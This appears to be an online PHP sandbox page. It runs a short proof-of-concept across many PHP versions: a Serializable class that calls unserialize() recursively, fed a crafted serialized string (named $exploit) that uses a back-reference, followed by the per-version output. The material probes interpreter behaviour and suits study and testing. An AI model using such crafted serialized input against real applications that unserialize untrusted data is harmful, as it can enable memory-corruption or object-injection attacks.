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run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:2;}'; $data = unserialize($exploit); var_dump($data);
Output for 8.1.0 - 8.1.6
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/JvrVs on line 2 array(2) { [0]=> &object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &object(obj)#1 (1) { ["data":"obj":private]=> int(1) } }
Output for 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.29, 8.0.0 - 8.0.19
array(2) { [0]=> &object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &object(obj)#1 (1) { ["data":"obj":private]=> int(1) } }

preferences:
28.66 ms | 412 KiB | 5 Q